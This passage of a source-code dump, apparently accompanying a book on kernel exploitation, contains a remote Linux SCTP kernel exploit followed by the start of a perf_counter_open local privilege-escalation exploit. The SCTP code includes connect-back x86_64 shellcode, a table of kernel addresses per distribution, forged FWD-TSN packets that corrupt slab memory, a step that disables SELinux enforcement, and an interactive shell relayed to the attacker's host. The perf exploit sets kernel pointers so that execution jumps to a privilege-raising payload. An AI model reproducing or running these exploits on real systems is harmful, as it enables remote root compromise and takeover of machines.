0xA24BB5A6L, 0x502036A5L, 0x4370C551L, 0xB11B4652L, 111 | 0x65D122B9L, 0x97BAA1BAL, 0x84EA524EL, 0x7681D14DL, 112 | 0x2892ED69L, 0xDAF96E6AL, 0xC9A99D9EL, 0x3BC21E9DL, 113 | 0xEF087A76L, 0x1D63F975L, 0x0E330A81L, 0xFC588982L, 114 | 0xB21572C9L, 0x407EF1CAL, 0x532E023EL, 0xA145813DL, 115 | 0x758FE5D6L, 0x87E466D5L, 0x94B49521L, 0x66DF1622L, 116 | 0x38CC2A06L, 0xCAA7A905L, 0xD9F75AF1L, 0x2B9CD9F2L, 117 | 0xFF56BD19L, 0x0D3D3E1AL, 0x1E6DCDEEL, 0xEC064EEDL, 118 | 0xC38D26C4L, 0x31E6A5C7L, 0x22B65633L, 0xD0DDD530L, 119 | 0x0417B1DBL, 0xF67C32D8L, 0xE52CC12CL, 0x1747422FL, 120 | 0x49547E0BL, 0xBB3FFD08L, 0xA86F0EFCL, 0x5A048DFFL, 121 | 0x8ECEE914L, 0x7CA56A17L, 0x6FF599E3L, 0x9D9E1AE0L, 122 | 0xD3D3E1ABL, 0x21B862A8L, 0x32E8915CL, 0xC083125FL, 123 | 0x144976B4L, 0xE622F5B7L, 0xF5720643L, 0x07198540L, 124 | 0x590AB964L, 0xAB613A67L, 0xB831C993L, 0x4A5A4A90L, 125 | 0x9E902E7BL, 0x6CFBAD78L, 0x7FAB5E8CL, 0x8DC0DD8FL, 126 | 0xE330A81AL, 0x115B2B19L, 0x020BD8EDL, 0xF0605BEEL, 127 | 0x24AA3F05L, 0xD6C1BC06L, 0xC5914FF2L, 0x37FACCF1L, 128 | 0x69E9F0D5L, 0x9B8273D6L, 0x88D28022L, 0x7AB90321L, 129 | 0xAE7367CAL, 0x5C18E4C9L, 0x4F48173DL, 0xBD23943EL, 130 | 0xF36E6F75L, 0x0105EC76L, 0x12551F82L, 0xE03E9C81L, 131 | 0x34F4F86AL, 0xC69F7B69L, 0xD5CF889DL, 0x27A40B9EL, 132 | 0x79B737BAL, 0x8BDCB4B9L, 0x988C474DL, 0x6AE7C44EL, 133 | 0xBE2DA0A5L, 0x4C4623A6L, 0x5F16D052L, 0xAD7D5351L, 134 | }; 135 | 136 | static __u32 sctp_crc32c(const unsigned char* buf, __u32 len) 137 | { 138 | __u32 i; 139 | __u32 crc32 = ~0U; 140 | __u32 r; 141 | unsigned char b0,b1,b2,b3; 142 | 143 | for (i = 0; i < SP_LEN + DP_LEN + VTAG_LEN; i++) 144 | { 145 | CRC32C(crc32, buf[i]); 146 | } 147 | CRC32C(crc32, 0); 148 | CRC32C(crc32, 0); 149 | CRC32C(crc32, 0); 150 | CRC32C(crc32, 0); 151 | for (i = HEADER_LEN; i < len; i++) 152 | { 153 | CRC32C(crc32, buf[i]); 154 | } 155 | r = ~crc32; 156 | 157 | b0 = r & 0xff; 158 | b1 = (r>>8) & 0xff; 159 | b2 = (r>>16) & 0xff; 160 | b3 = (r>>24) & 0xff; 161 | crc32 = ((b0 << 24) | (b1 << 16) | (b2 << 8) | b3); 162 | return ( crc32 ); 163 | } 164 | /* end crc routines */ 165 | 166 | static char generic_x86_64_shellcode[] = 167 | // prolog 168 | "\x90\x53\x48\x31\xc0\xb0\x66\x0f\x05\x48\x31\xdb" 169 | "\x48\x39\xd8\x75\x0f\x48\x31\xc0\xb0\x02\xcd\x80" 170 | "\x48\x31\xdb\x48\x39\xc3\x74\x09\x5b\x48\x31\xc0" 171 | "\xb0\x60\x0f\x05\xc3" 172 | // connect back 173 | "\x48\x31\xd2\x6a\x01\x5e\x6a\x02\x5f\x6a\x29\x58" 174 | "\x0f\x05\x48\x97\x50\x48\xb9\x02\x00\x0d\x05\x7f" 175 | "\x00\x00\x01\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a" 176 | "\x58\x0f\x05\x48\x31\xdb\x48\x39\xc3\x74\x07\x48" 177 | "\x31\xc0\xb0\xe7\x0f\x05\x90" 178 | "\x6a\x03\x5e\x6a\x21\x58\x48\xff\xce\x0f\x05\x75" 179 | "\xf6\x48\xbb\xd0\x9d\x96\x91\xd0\x8c\x97\xff\x48" 180 | "\xf7\xd3\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48" 181 | "\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05\x48\x31\xc0" 182 | "\xb0\xe7\x0f\x05" 183 | ; 184 | 185 | static const char __zero[4] = {0x00, 0x00, 0x00, 0x00}; 186 | //static char __force_crash[] = "\x41\x41\x41\x41\x41\x41\x41\x41"; 187 | 188 | static char generic_x86_64_patchjump[] = "\x48\x31\xc0\xb0\x60\x0f\x05\xc3"; 189 | static char generic_x86_64_jump[] = "\xe9\x2b\x09\x00\x00\x90"; 190 | 191 | /* ubuntu 7.04 */ 192 | static char ubuntu64_2_6_20_15to17_generic_x86_64_vsys_shadow[] = "\x00\x40\x56\x80\xFF\xFF\xFF\xFF"; 193 | static char ubuntu64_2_6_20_17_server_x86_64_vsys_shadow[] = "\x00\x90\x5B\x80\xFF\xFF\xFF\xFF"; 194 | 195 | /* ubuntu 8.04 */ 196 | static char ubuntu64_2_6_24_23_last_server_x86_64_vsys_shadow[] = "\x00\x50\x62\x80\xFF\xFF\xFF\xFF"; 197 | static char ubuntu64_2_6_24_19to22_server_x86_64_vsys_shadow[] = "\x00\x40\x62\x80\xFF\xFF\xFF\xFF"; 198 | static char ubuntu64_2_6_24_16to18_server_x86_64_vsys_shadow[] = "\x00\x30\x62\x80\xFF\xFF\xFF\xFF"; 199 | 200 | static char ubuntu64_2_6_24_18to21_generic_x86_64_vsys_shadow[] = "\x00\x40\x5d\x80\xFF\xFF\xFF\xFF"; 201 | 202 | /* ubuntu 8.10 */ 203 | static char ubuntu64_2_6_27_7_server_x86_64_vsys_shadow[] = "\x00\x30\x6f\x80\xFF\xFF\xFF\xFF"; 204 | static char ubuntu64_2_6_27_9tolast_server_x86_64_vsys_shadow[] = "\x00\x40\x6f\x80\xFF\xFF\xFF\xFF"; 205 | 206 | static char ubuntu64_2_6_27_7tolast_generic_x86_64_vsys_shadow[] = "\x00\x40\x6f\x80\xFF\xFF\xFF\xFF"; 207 | 208 | /* fedora code 10 */ 209 | static char fedora64_10_default_kernel_x86_64_vsys_shadow[] = "\x00\x10\x57\x81\xFF\xFF\xFF\xFF"; 210 | static char fedora64_10_default_kernel_x86_64_selinux[] = "\x84\xE6\x7C\x81\xFF\xFF\xFF\xFF"; 211 | 212 | /* opensuse 11.1 */ 213 | static char opensuse64_11_1_default_kernel_x86_64_vsys_shadow[]="\x00\x10\x8E\x80\xFF\xFF\xFF\xFF"; 214 | 215 | 216 | #define __msg_f(format, args...) \ 217 | do { fprintf(stdout, format, ## args); } while(0) 218 | 219 | #define __msg(msg) \ 220 | do { fprintf(stdout, "%s", msg); } while(0) 221 | 222 | #define __fatal(msg) \ 223 | do {fprintf(stderr, "%s", msg); exit(1);} while (0) 224 | 225 | #define __fatal_perror(msg) \ 226 | do { perror(msg); exit(1); } while (0) 227 | 228 | enum { 229 | SLAB_ALLOCATOR=0, 230 | SLUB_ALLOCATOR=1 231 | }; 232 | 233 | typedef struct 234 | { 235 | const char *name; 236 | const char *info; 237 | char *scode; 238 | __u32 scodesize; 239 | __u32 portoff; 240 | __u32 hostoff; 241 | const char *vsysaddr; 242 | const char *vsysjump; 243 | __u32 vsysjumpsize; 244 | 245 | const char *vsyspatchjump; 246 | __u32 vsyspatchjumpsize; 247 | 248 | __u32 chunksize; 249 | __u32 slubsize; 250 | __u32 ptrsize; 251 | 252 | const char *selinux; 253 | 254 | int allocator_type; 255 | 256 | } kinfo; 257 | 258 | static kinfo *k; 259 | 260 | typedef struct 261 | { 262 | const char* target; 263 | const char* rhost; 264 | const char* lhost; 265 | __u16 rport; 266 | __u16 lport; 267 | 268 | __u16 sport; // defines associations 269 | __u16 nconn; 270 | 271 | } hinfo; 272 | 273 | static hinfo h = { NULL, NULL, NULL, 0, 0, 0, 600 }; 274 | 275 | static kinfo kernels[] = { 276 | { 277 | "ubuntu64_faisty-2.6.20-[15-17]-generic", 278 | "(faisty: generic kernel)", 279 | generic_x86_64_shellcode, 280 | sizeof(generic_x86_64_shellcode) -1, 281 | __OFFSET_PORT_64, 282 | __OFFSET_HOST_64, 283 | ubuntu64_2_6_20_15to17_generic_x86_64_vsys_shadow, 284 | generic_x86_64_jump, 285 | 6, 286 | generic_x86_64_patchjump, 287 | 8, 288 | 40, 289 | 256, 290 | 8, 291 | NULL, 292 | SLAB_ALLOCATOR 293 | }, 294 | { 295 | "ubuntu64_faisty-2.6.20-17-server", 296 | "(faisty: server kernel - last 2.6.20-17 build)", 297 | generic_x86_64_shellcode, 298 | sizeof(generic_x86_64_shellcode) -1, 299 | __OFFSET_PORT_64, 300 | __OFFSET_HOST_64, 301 | ubuntu64_2_6_20_17_server_x86_64_vsys_shadow, 302 | generic_x86_64_jump, 303 | 6, 304 | generic_x86_64_patchjump, 305 | 8, 306 | 40, 307 | 256, 308 | 8, 309 | NULL, 310 | SLAB_ALLOCATOR 311 | }, 312 | { 313 | "ubuntu64_hardy-2.6.24-[18-21]-generic", 314 | "(kernel from 2.6.24-18 to kernel 2.6.24-21 -- generic)", 315 | generic_x86_64_shellcode, 316 | sizeof(generic_x86_64_shellcode) -1, 317 | __OFFSET_PORT_64, 318 | __OFFSET_HOST_64, 319 | ubuntu64_2_6_24_18to21_generic_x86_64_vsys_shadow, 320 | generic_x86_64_jump, 321 | 6, 322 | generic_x86_64_patchjump, 323 | 8, 324 | 40, 325 | 96, 326 | 8, 327 | NULL, 328 | SLUB_ALLOCATOR 329 | }, 330 | { 331 | "ubuntu64_hardy_2.6.24-[16-18]-server", 332 | "(kernel from 2.6.24-16 to 2.6.24-18 -- server)", 333 | generic_x86_64_shellcode, 334 | sizeof(generic_x86_64_shellcode) -1, 335 | __OFFSET_PORT_64, 336 | __OFFSET_HOST_64, 337 | ubuntu64_2_6_24_16to18_server_x86_64_vsys_shadow, 338 | generic_x86_64_jump, 339 | 6, 340 | generic_x86_64_patchjump, 341 | 8, 342 | 40, 343 | 96, 344 | 8, 345 | NULL, 346 | SLUB_ALLOCATOR 347 | }, 348 | { 349 | "ubuntu64_hardy-2.6.24-[19-22]-server", 350 | "(kernel from 2.6.24-19 to 2.6.24-22 -- server)", 351 | generic_x86_64_shellcode, 352 | sizeof(generic_x86_64_shellcode) -1, 353 | __OFFSET_PORT_64, 354 | __OFFSET_HOST_64, 355 | ubuntu64_2_6_24_19to22_server_x86_64_vsys_shadow, 356 | generic_x86_64_jump, 357 | 6, 358 | generic_x86_64_patchjump, 359 | 8, 360 | 40, 361 | 96, 362 | 8, 363 | NULL, 364 | SLUB_ALLOCATOR 365 | }, 366 | { 367 | "ubuntu64_hardy-2.6.24-23-last-server", 368 | "(last 2.6.24-23 kernel before patch -- server)", 369 | generic_x86_64_shellcode, 370 | sizeof(generic_x86_64_shellcode) -1, 371 | __OFFSET_PORT_64, 372 | __OFFSET_HOST_64, 373 | ubuntu64_2_6_24_23_last_server_x86_64_vsys_shadow, 374 | generic_x86_64_jump, 375 | 6, 376 | generic_x86_64_patchjump, 377 | 8, 378 | 40, 379 | 96, 380 | 8, 381 | NULL, 382 | SLUB_ALLOCATOR 383 | }, 384 | { 385 | "ubuntu64_intrepid-2.6.27-7-server", 386 | "(kernel 2.6.27-7 -- server)", 387 | generic_x86_64_shellcode, 388 | sizeof(generic_x86_64_shellcode) -1, 389 | __OFFSET_PORT_64, 390 | __OFFSET_HOST_64, 391 | ubuntu64_2_6_27_7_server_x86_64_vsys_shadow, 392 | generic_x86_64_jump, 393 | 6, 394 | generic_x86_64_patchjump, 395 | 8, 396 | 40, 397 | 96, 398 | 8, 399 | NULL, 400 | SLUB_ALLOCATOR 401 | }, 402 | { 403 | "ubuntu64_intrepid-2.6.27-[9-last]-server", 404 | "(kernel 2.6.27-9 to the last unpatched kernel -- server)", 405 | generic_x86_64_shellcode, 406 | sizeof(generic_x86_64_shellcode) -1, 407 | __OFFSET_PORT_64, 408 | __OFFSET_HOST_64, 409 | ubuntu64_2_6_27_9tolast_server_x86_64_vsys_shadow, 410 | generic_x86_64_jump, 411 | 6, 412 | generic_x86_64_patchjump, 413 | 8, 414 | 40, 415 | 96, 416 | 8, 417 | NULL, 418 | SLUB_ALLOCATOR 419 | }, 420 | { 421 | "ubuntu64_intrepid-2.6.27-[7-last]-generic", 422 | "(kernel 2.6.27-9 to the last unpatched kernel -- server)", 423 | generic_x86_64_shellcode, 424 | sizeof(generic_x86_64_shellcode) -1, 425 | __OFFSET_PORT_64, 426 | __OFFSET_HOST_64, 427 | ubuntu64_2_6_27_7tolast_generic_x86_64_vsys_shadow, 428 | generic_x86_64_jump, 429 | 6, 430 | generic_x86_64_patchjump, 431 | 8, 432 | 40, 433 | 96, 434 | 8, 435 | NULL, 436 | SLUB_ALLOCATOR 437 | }, 438 | { 439 | "fedora64_10-2.6.25-117", 440 | "(fedora core 10 default installed kernel)", 441 | generic_x86_64_shellcode, 442 | sizeof(generic_x86_64_shellcode) -1, 443 | __OFFSET_PORT_64, 444 | __OFFSET_HOST_64, 445 | fedora64_10_default_kernel_x86_64_vsys_shadow, 446 | generic_x86_64_jump, 447 | 6, 448 | generic_x86_64_patchjump, 449 | 8, 450 | 40, 451 | 96, 452 | 8, 453 | fedora64_10_default_kernel_x86_64_selinux, 454 | SLUB_ALLOCATOR 455 | }, 456 | { 457 | "opensuse64_11.1-2.6.27.7-9-default", 458 | "(opensuse 11.1 default installed kernel)", 459 | generic_x86_64_shellcode, 460 | sizeof(generic_x86_64_shellcode) -1, 461 | __OFFSET_PORT_64, 462 | __OFFSET_HOST_64, 463 | opensuse64_11_1_default_kernel_x86_64_vsys_shadow, 464 | generic_x86_64_jump, 465 | 6, 466 | generic_x86_64_patchjump, 467 | 8, 468 | 40, 469 | 256, 470 | 8, 471 | NULL, 472 | SLAB_ALLOCATOR 473 | } 474 | }; 475 | 476 | 477 | 478 | /* modular arithmetic shift */ 479 | #define __SHIFT_CHECK 0x7FFF 480 | static __u16 shift_0_to_7fff[3] = { 0x7FFF, 0xFFFE, 0x0000 }; 481 | static __u16 shift_8000_to_ffff[3] = { 0xFFFF, 0x7FFE, 0x8000 }; 482 | 483 | /* global streams obj */ 484 | static __u16 streams[1000][2]; 485 | 486 | /* get stream flow */ 487 | static int build_stream(const void *data, __u32 size, __u16 fc) 488 | { 489 | int chunk_num,i,j,stnum=0; 490 | __u16 *p; 491 | __u16 *shift; 492 | if(size % 2) 493 | __fatal("[!!!] build_stream: data unaligned"); 494 | 495 | memset(streams, 0x00, sizeof(streams)); 496 | 497 | chunk_num = size / 2; 498 | p = (__u16*)data; 499 | for(i=0; isport = htons(sp); 582 | hdr->dport = htons(dp); 583 | hdr->vtag = htonl(vtag); 584 | hdr->checksum = 0; 585 | fwd = (struct sctp_chunk_fwd *)(hdr->chunks); 586 | fwd->type = SCTP_FWD; 587 | fwd->flags = 0; 588 | fwd->len = htons(4 + 4 + (streamlen * 4)); // chunk + ctsn + streams 589 | fwd->new_tsn = htonl(tsn+1); 590 | 591 | /* build stream */ 592 | pstream = (__u16 *)((&(fwd->new_tsn)) + 1); 593 | for(i=0; ilen) + sizeof(*hdr); 600 | hdr->checksum = htonl(sctp_crc32c(__buff, (__u32)(*p_len))); 601 | return hdr; 602 | } 603 | 604 | 605 | 606 | /* this function gets VTAG/TSN bound with this socket pair */ 607 | int raw_socket_engine(__u16 sp, __u16 sp2, __u16 dp, 608 | __u32 *tsn, __u32 *vtag, __u32 *tsn2, __u32 *vtag2) 609 | { 610 | char packet[1500]; 611 | int p_len; 612 | void *end; 613 | struct sctp_hdr *hdr; 614 | struct sctp_chk *chk; 615 | __u32 tmp; 616 | __u16 psp,pdp; 617 | fd_set r; 618 | struct timeval tv; 619 | 620 | int raw_fd = socket(PF_INET, SOCK_RAW, IPPROTO_SCTP); 621 | if(raw_fd < 0) 622 | __fatal_perror("socket: RAW/SCTP"); 623 | 624 | 625 | FD_ZERO(&r); 626 | FD_SET(raw_fd, &r); 627 | tv.tv_usec=0; 628 | tv.tv_sec=10; 629 | 630 | while(select(raw_fd + 1, &r, NULL,NULL,&tv) > 0) 631 | { 632 | p_len = read(raw_fd, packet, sizeof(packet)); 633 | end = packet + p_len; 634 | hdr = (struct sctp_hdr *)(packet + sizeof(struct iphdr)); 635 | if((void*)(((char *)hdr)+4) >= end) 636 | continue; 637 | 638 | /* check for chunk */ 639 | chk = (struct sctp_chk *)(hdr->chunks); 640 | tmp = ntohl(*((__u32*)(chk->data))); 641 | psp = ntohs(hdr->sport); 642 | pdp = ntohs(hdr->dport); 643 | 644 | if(chk->type == SCTP_SACK) 645 | { 646 | if(psp == dp && pdp == sp) 647 | *tsn = tmp; 648 | 649 | if(psp == dp && pdp == sp2) 650 | *tsn2 = tmp; 651 | } 652 | 653 | if(chk->type == SCTP_INIT_ACK) 654 | { 655 | if(psp == dp && pdp == sp) 656 | *vtag = tmp; 657 | 658 | if(psp == dp && pdp == sp2) 659 | *vtag2 = tmp; 660 | } 661 | 662 | if(*vtag && *tsn && *vtag2 && *tsn2) 663 | break; 664 | 665 | FD_ZERO(&r); 666 | FD_SET(raw_fd, &r); 667 | tv.tv_usec=0; 668 | tv.tv_sec=10; 669 | } 670 | 671 | return 0; 672 | } 673 | 674 | /* global vars */ 675 | static __u16 sport=0; 676 | static __u16 sport2=0; 677 | static __u32 vtag=0, vtag2=0; 678 | static __u32 tsn=0, tsn2=0; 679 | 680 | static struct sockaddr_in server_sctp; 681 | int raw_sctp=-1; 682 | 683 | #define STACK_SIZE 0x1000 684 | char clone_stack[STACK_SIZE*2]; 685 | 686 | 687 | static void send_fwd_chunk(__u16 sp, __u16 dp, __u16 streams[][2], 688 | int streamlen, __u32 vtag, __u32 tsn) 689 | { 690 | int p_len=0, ret; 691 | void *packet = make_fwd_packet(sp, dp, vtag, tsn, streams, streamlen, &p_len); 692 | ret = sendto(raw_sctp, packet, p_len, 0, (struct sockaddr *)&server_sctp, sizeof(struct sockaddr_in)); 693 | if(ret < 0) 694 | __fatal_perror("sendto: sending FWD chunk"); 695 | 696 | free(packet); 697 | } 698 | 699 | 700 | 701 | static int clone_thread(void *p) 702 | { 703 | raw_socket_engine(sport, sport2, h.rport, &tsn, &vtag, &tsn2, &vtag2); 704 | return 0; 705 | } 706 | 707 | 708 | static int make_sctp_connection(__u16 sp, __u16 dp, int data) 709 | { 710 | struct sctp_initmsg msg; 711 | int ret,o=1,fd; 712 | socklen_t len_sctp=sizeof(struct sctp_initmsg); 713 | struct sockaddr_in s,c; 714 | 715 | fd = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP); 716 | if(fd < 0) 717 | __fatal_perror("socket: sctp SOCK_STREAM"); 718 | 719 | ret = setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, (char *)&o, sizeof(o)); 720 | if (ret < 0) 721 | __fatal_perror("setsockopt: SO_REUSEADDR"); 722 | 723 | 724 | /* NOTE: here we assume server peer allocates 10 output streams (as default) 725 | * if the applciation behaves differently you must probe and change channels size 726 | * to get the correct slab */ 727 | 728 | if(k->allocator_type == SLAB_ALLOCATOR) // if SLAB change channel size 729 | { 730 | getsockopt(fd, SOL_SCTP, SCTP_INITMSG, &msg, &len_sctp); 731 | msg.sinit_num_ostreams=50; // force 256 slab allocation 732 | msg.sinit_max_instreams=10; 733 | setsockopt(fd, SOL_SCTP, SCTP_INITMSG, &msg, len_sctp); 734 | } 735 | else 736 | { 737 | getsockopt(fd, SOL_SCTP, SCTP_INITMSG, &msg, &len_sctp); 738 | msg.sinit_num_ostreams=10; // force 96 slab allocation 739 | msg.sinit_max_instreams=10; 740 | setsockopt(fd, SOL_SCTP, SCTP_INITMSG, &msg, len_sctp); 741 | } 742 | 743 | 744 | if(sp) 745 | { 746 | c.sin_family = PF_INET; 747 | c.sin_port = htons(sp); 748 | c.sin_addr.s_addr = INADDR_ANY; 749 | ret = bind(fd, (struct sockaddr *)&c, sizeof(c)); 750 | if(ret < 0) 751 | __fatal_perror("bind: sctp socket"); 752 | } 753 | 754 | s.sin_family = PF_INET; 755 | s.sin_port = htons(dp); 756 | s.sin_addr.s_addr = inet_addr(h.rhost); 757 | 758 | ret = connect(fd, (struct sockaddr *)&s, sizeof(s)); 759 | if(ret < 0) 760 | __fatal_perror("connect: sctp socket"); 761 | 762 | 763 | /* send one byte of data to get correctly 764 | * TSN from raw socket (from SACK replies) 765 | */ 766 | if(data) 767 | { 768 | ret = send(fd, "", 1, 0); 769 | if(ret < 0) 770 | __fatal_perror("send: sctp socket data"); 771 | } 772 | return fd; 773 | } 774 | 775 | 776 | static void htons_streams(__u16 s[][2], int len) 777 | { 778 | int i; 779 | for(i=0; ivsyspatchjump, k->vsyspatchjumpsize, 0); 882 | if(ret < 0) 883 | __fatal("Error Building Streams..."); 884 | 885 | htons_streams(streams, ret); 886 | send_fwd_chunk(sport2, h.rport, streams, ret, vtag2, tsn2); 887 | 888 | } 889 | 890 | 891 | static void multiplex(int listenfd) 892 | { 893 | int ret,new_fd; 894 | fd_set r; 895 | struct timeval t; 896 | char buffer[1500]; 897 | 898 | 899 | FD_ZERO(&r); 900 | FD_SET(listenfd, &r); 901 | t.tv_sec = 3; 902 | t.tv_usec = 0; 903 | __msg("[**] Waiting daemons executing gettimeofday().. this can take up to one minute...\n"); 904 | __msg("[**] .."); 905 | fflush(stdout); 906 | 907 | while(select(listenfd+1, &r, NULL, NULL, &t) == 0) 908 | { 909 | printf(".."); 910 | fflush(stdout); 911 | t.tv_sec = 3; 912 | t.tv_usec = 0; 913 | FD_ZERO(&r); 914 | FD_SET(listenfd, &r); 915 | } 916 | __msg("..\n"); 917 | 918 | new_fd = accept(listenfd, NULL, 0); 919 | if(new_fd < 0) 920 | __fatal_perror("accept: listen fd"); 921 | 922 | 923 | __msg("[**] Connected!\n"); 924 | patchjump(); 925 | 926 | close(listenfd); 927 | 928 | write(new_fd, "id\n", 3); 929 | 930 | FD_ZERO(&r); 931 | FD_SET(new_fd, &r); 932 | FD_SET(0, &r); 933 | while(select(new_fd+1, &r, NULL, NULL, NULL) > 0) 934 | { 935 | if(FD_ISSET(0, &r)) // read from stdin 936 | { 937 | ret = read(0, buffer, sizeof(buffer)); 938 | if(ret < 0) 939 | __fatal_perror("read: from stdin"); 940 | else 941 | ret = write(new_fd, buffer, ret); 942 | } 943 | 944 | if(FD_ISSET(new_fd, &r)) 945 | { 946 | ret = read(new_fd, buffer, sizeof(buffer)); 947 | if(!ret) { 948 | __msg("Endopoint closed the connection\n"); 949 | break; 950 | } 951 | else if(ret > 0) 952 | { 953 | write(1, buffer, ret); 954 | } 955 | else 956 | __fatal_perror("read: from net"); 957 | } 958 | 959 | FD_ZERO(&r); 960 | FD_SET(new_fd, &r); 961 | FD_SET(0, &r); 962 | } 963 | 964 | } 965 | 966 | 967 | /* needed when exploiting old SLAB */ 968 | void swap_to_SLAB_chunk() 969 | { 970 | __u32 tmp; 971 | __u16 tmp16; 972 | 973 | tmp = tsn; 974 | tsn = tsn2; 975 | tsn2 = tmp; 976 | 977 | tmp = vtag; 978 | vtag = vtag2; 979 | vtag2 = tmp; 980 | 981 | tmp16 = sport; 982 | sport = sport2; 983 | sport2 = tmp16; 984 | } 985 | 986 | 987 | 988 | int main(int argc, char **argv) 989 | { 990 | 991 | int ret, fd, i, listenfd,o=1; 992 | struct sockaddr_in l; 993 | __u32 lh; 994 | __u16 lp; 995 | 996 | sctp_getopt(argc, argv); 997 | 998 | listenfd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); 999 | if(setsockopt(listenfd, SOL_SOCKET, SO_REUSEADDR, (char *)&o, sizeof(o)) < 0) 1000 | __fatal_perror("setsockopt: SO_REUSEADDR"); 1001 | 1002 | l.sin_family = PF_INET; 1003 | l.sin_port = htons(h.lport); 1004 | l.sin_addr.s_addr = inet_addr(h.lhost); 1005 | if(bind(listenfd, (struct sockaddr *)&l, sizeof(l)) < 0) 1006 | __fatal_perror("bind: sock"); 1007 | 1008 | if(listen(listenfd, 4) < 0) 1009 | __fatal_perror("listen: sock"); 1010 | 1011 | 1012 | /* set connect back params */ 1013 | lh = inet_addr(h.lhost); 1014 | lp = htons(h.lport); 1015 | memcpy(k->scode + k->portoff, &lp, 2); 1016 | memcpy(k->scode + k->hostoff, &lh, 4); 1017 | 1018 | raw_sctp = socket(PF_INET, SOCK_RAW, IPPROTO_SCTP); 1019 | if(raw_sctp < 0) 1020 | __fatal_perror("socket: RAW/SCTP montitor socket"); 1021 | 1022 | server_sctp.sin_family = PF_INET; 1023 | server_sctp.sin_port = htons(h.rport); 1024 | server_sctp.sin_addr.s_addr = inet_addr(h.rhost); 1025 | 1026 | __msg("[**] Monitoring Network for TSN/VTAG pairs.. \n"); 1027 | ret = clone(clone_thread, clone_stack+STACK_SIZE-8, CLONE_VM|SIGCHLD, NULL); 1028 | if(ret < 0) 1029 | __fatal_perror("clone"); 1030 | 1031 | sleep(1); 1032 | 1033 | __msg("[**] Start flushing slub cache...\n"); 1034 | for(i=0; i<=h.nconn; i++) 1035 | { 1036 | __u16 p = sport-(h.nconn-1)+i; 1037 | if(p == sport || p== sport2) 1038 | fd = make_sctp_connection(p, h.rport, 1); 1039 | else 1040 | fd = make_sctp_connection(sport-(h.nconn-1)+i, h.rport, 0); 1041 | // usleep(10); 1042 | } 1043 | 1044 | 1045 | disable_abort(); 1046 | /* wait for monitoring engine */ 1047 | wait(NULL); 1048 | 1049 | if(k->allocator_type == SLAB_ALLOCATOR) 1050 | swap_to_SLAB_chunk(); 1051 | 1052 | if(vtag && tsn && vtag2 && tsn2) 1053 | { 1054 | __u32 acc; 1055 | 1056 | __msg_f("[**] Using TSN/VTAG pairs: (TSN: %x <=> VTAG: %x) / (TSN: %x <=> VTAG: %x)...\n", tsn, vtag, tsn2, vtag2); 1057 | sleep(1); 1058 | 1059 | if(k->selinux) 1060 | { 1061 | __msg("[**] Overwriting neightboard sctp map..\n"); 1062 | acc = (k->slubsize - k->chunksize) / 2; 1063 | ret = build_stream(k->selinux, k->ptrsize, acc); 1064 | if(ret < 0) 1065 | __fatal("Error Building Streams..."); 1066 | 1067 | htons_streams(streams, ret); 1068 | send_fwd_chunk(sport, h.rport, streams, ret, vtag, tsn); 1069 | 1070 | __msg("[**] Disabling Selinux Enforcing Mode..\n"); 1071 | ret = build_stream(__zero, 4, 0); 1072 | if(ret < 0) 1073 | __fatal("Error Building Streams..."); 1074 | 1075 | htons_streams(streams, ret); 1076 | send_fwd_chunk(sport2, h.rport, streams, ret, vtag2, tsn2); 1077 | } 1078 | 1079 | __msg("[**] Overwriting neightboard sctp map ......\n"); 1080 | acc = (k->slubsize - k->chunksize) / 2; 1081 | ret = build_stream(k->vsysaddr, k->ptrsize, acc); 1082 | if(ret < 0) 1083 | __fatal("Error Building Streams..."); 1084 | 1085 | htons_streams(streams, ret); 1086 | send_fwd_chunk(sport, h.rport, streams, ret, vtag, tsn); 1087 | 1088 | __msg("[**] Overwriting vsyscall shadow map..\n"); 1089 | acc = 0x930 / 2; 1090 | ret = build_stream(k->scode, k->scodesize, acc); //1176 1091 | if(ret < 0) 1092 | __fatal("Error Building Streams..."); 1093 | 1094 | htons_streams(streams, ret); 1095 | send_fwd_chunk(sport2, h.rport, streams, ret, vtag2, tsn2); 1096 | 1097 | __msg("[**] Hijacking vsyscall shadow map..\n"); 1098 | ret = build_stream(k->vsysjump, k->vsysjumpsize, 0); 1099 | if(ret < 0) 1100 | __fatal("Error Building Streams..."); 1101 | 1102 | htons_streams(streams, ret); 1103 | send_fwd_chunk(sport2, h.rport, streams, ret, vtag2, tsn2); 1104 | 1105 | sleep(1); 1106 | } 1107 | else 1108 | __fatal("VTAG/TSN not found: network error"); 1109 | 1110 | 1111 | multiplex(listenfd); 1112 | __msg("[**] Closing Connection... \n"); 1113 | return 0; 1114 | } 1115 | 1116 | 1117 | 1118 | -------------------------------------------------------------------------------- /chapter4/linux/exploits.tar: -------------------------------------------------------------------------------- 1 | exploits/0000755000076500000240000000000011456530244012073 5ustar enricostaffexploits/exp_perfcount.c0000644000076500000240000000226711447474307015136 0ustar enricostaff#include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include "kernel_header.h" 10 | 11 | #undef __NR_perf_counter_open 12 | #ifdef __x86_64__ 13 | #define __NR_perf_counter_open 298 14 | #define BUF_SIZE 0x100 15 | #else 16 | #define __NR_perf_counter_open 336 17 | #define BUF_SIZE 0x80 18 | #endif 19 | 20 | struct perf_counter_attr { 21 | unsigned int type; 22 | unsigned int size; 23 | }; 24 | 25 | static void kernel_payload() 26 | { 27 | kernel_rise_privileges(); 28 | return_to_userland(); 29 | } 30 | 31 | 32 | int main(int argc, char *argv[]) 33 | { 34 | struct perf_counter_attr *ctr; 35 | int i; 36 | 37 | user_mode_set_env(); 38 | 39 | ctr = (struct perf_counter_attr *)malloc(_page_size); 40 | if (ctr == NULL) { 41 | __fatal_errno("[!!] malloc: out of memory"); 42 | exit(1); 43 | } 44 | 45 | memset(ctr, 0x00, _page_size); 46 | 47 | ctr->size = BUF_SIZE; 48 | ctr->type = 0xFFFFFFFF; 49 | for (i = 0x40; i < BUF_SIZE; i+= sizeof(unsigned long)) { 50 | if (!(i % (sizeof(unsigned long) * sizeof(unsigned long)))) 51 | continue; 52 | 53 | *(unsigned long *)((char *)ctr + i) = (unsigned long)kernel_payload; 54 | } 55 | 56 | syscall(__NR_perf_counter_open, ctr, getpid(), 0, 0, 0UL); 57 | __fatal_errno("[!!] perf_counter_open: System is not vulnerable"); 58 | 59 | return 0; 60 